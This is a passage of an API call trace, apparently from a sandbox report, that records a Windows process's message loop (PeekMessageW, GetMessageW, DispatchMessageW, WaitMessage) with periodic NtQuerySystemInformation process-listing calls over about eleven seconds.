0 [0136.054] WaitMessage () returned 1 [0136.574] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0136.574] IsWindowUnicode (hWnd=0x10166) returned 1 [0136.574] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0136.574] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0136.574] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0136.574] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0136.574] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0136.574] WaitMessage () returned 1 [0137.104] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0137.104] IsWindowUnicode (hWnd=0x10166) returned 1 [0137.104] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0137.104] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0137.104] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0137.104] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0137.104] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0137.105] WaitMessage () returned 1 [0137.276] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0137.276] IsWindowUnicode (hWnd=0x1015c) returned 1 [0137.276] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0137.276] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0137.276] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0137.276] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x7820) returned 0x0 [0137.278] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0137.278] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0137.278] WaitMessage () returned 1 [0137.635] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0137.635] IsWindowUnicode (hWnd=0x10166) returned 1 [0137.635] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0137.635] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0137.635] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0137.635] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0137.635] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0137.636] WaitMessage () returned 1 [0138.181] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0138.181] IsWindowUnicode (hWnd=0x10166) returned 1 [0138.181] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0138.181] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0138.181] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0138.181] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0138.181] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0138.181] WaitMessage () returned 1 [0138.711] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0138.711] IsWindowUnicode (hWnd=0x10166) returned 1 [0138.712] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0138.712] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0138.712] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0138.712] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0138.712] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0138.712] WaitMessage () returned 1 [0139.242] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0139.242] IsWindowUnicode (hWnd=0x10166) returned 1 [0139.242] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0139.242] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0139.242] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0139.242] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0139.242] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0139.242] WaitMessage () returned 1 [0139.289] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0139.289] IsWindowUnicode (hWnd=0x1015c) returned 1 [0139.289] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0139.289] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0139.289] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0139.289] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x7820) returned 0x0 [0139.290] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0139.290] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0139.291] WaitMessage () returned 1 [0139.772] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0139.772] IsWindowUnicode (hWnd=0x10166) returned 1 [0139.772] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0139.772] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0139.772] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0139.773] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0139.773] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0139.773] WaitMessage () returned 1 [0140.303] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0140.303] IsWindowUnicode (hWnd=0x10166) returned 1 [0140.303] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0140.303] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0140.304] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0140.304] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0140.304] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0140.304] WaitMessage () returned 1 [0140.833] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0140.833] IsWindowUnicode (hWnd=0x10166) returned 1 [0140.833] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0140.833] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0140.833] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0140.833] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0140.834] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0140.834] WaitMessage () returned 1 [0141.302] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0141.302] IsWindowUnicode (hWnd=0x1015c) returned 1 [0141.302] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0141.302] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0141.302] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0141.302] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x7820) returned 0x0 [0141.303] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0141.303] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0141.303] WaitMessage () returned 1 [0141.364] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0141.364] IsWindowUnicode (hWnd=0x10166) returned 1 [0141.364] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0141.364] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0141.364] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0141.364] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0141.364] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0141.364] WaitMessage () returned 1 [0141.894] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0141.894] IsWindowUnicode (hWnd=0x10166) returned 1 [0141.894] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0141.894] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0141.894] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0141.894] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0141.894] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0141.894] WaitMessage () returned 1 [0142.424] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0142.424] IsWindowUnicode (hWnd=0x10166) returned 1 [0142.424] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0142.424] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0142.424] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0142.425] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0142.425] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0142.425] WaitMessage () returned 1 [0142.970] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0142.970] IsWindowUnicode (hWnd=0x10166) returned 1 [0142.970] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0142.970] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0142.971] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0142.971] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0142.971] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0142.971] WaitMessage () returned 1 [0143.329] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0143.329] IsWindowUnicode (hWnd=0x1015c) returned 1 [0143.329] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0143.329] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0143.329] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0143.329] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x7608) returned 0x0 [0143.331] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0143.331] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0143.331] WaitMessage () returned 1 [0143.506] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0143.506] IsWindowUnicode (hWnd=0x10166) returned 1 [0143.506] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0143.506] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0143.506] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0143.506] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0143.507] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0143.507] WaitMessage () returned 1 [0144.031] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0144.032] IsWindowUnicode (hWnd=0x10166) returned 1 [0144.032] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0144.032] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0144.032] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0144.032] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0144.032] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0144.032] WaitMessage () returned 1 [0144.561] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0144.561] IsWindowUnicode (hWnd=0x10166) returned 1 [0144.561] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0144.561] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0144.561] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0144.561] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0144.562] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0144.562] WaitMessage () returned 1 [0145.092] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0145.092] IsWindowUnicode (hWnd=0x10166) returned 1 [0145.092] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0145.092] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0145.092] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0145.092] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0145.092] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0145.092] WaitMessage () returned 1 [0145.341] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0145.341] IsWindowUnicode (hWnd=0x1015c) returned 1 [0145.341] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0145.341] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0145.341] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0145.341] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x75c8) returned 0x0 [0145.342] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0145.342] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0145.342] WaitMessage () returned 1 [0145.622] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0145.622] IsWindowUnicode (hWnd=0x10166) returned 1 [0145.622] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0145.622] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0145.622] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0145.623] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0145.623] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0145.623] WaitMessage () returned 1 [0146.153] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0146.153] IsWindowUnicode (hWnd=0x10166) returned 1 [0146.153] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0146.153] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0146.153] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0146.153] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0146.153] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0146.153] WaitMessage () returned 1 [0146.683] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0146.683] IsWindowUnicode (hWnd=0x10166) returned 1 [0146.683] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0146.683] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0146.683] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0146.683] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0146.684] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0146.684] WaitMessage () returned 1 [0147.214] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0147.214] IsWindowUnicode (hWnd=0x10166) returned 1 [0147.214] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0147.214] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0147.214] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0147.214] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0147.214] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0147.214] WaitMessage () returned 1 [0147.354] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0147.354] IsWindowUnicode (hWnd=0x1015c) returned 1 [0147.354] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0147.354] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0147.354] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0147.354] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x7608) returned 0x0 [0147.356] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0147.356] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0147.356] WaitMessage () returned 1 [0147.744] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0147.744] IsWindowUnicode (hWnd=0x10166) returned 1 [0147.744] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, 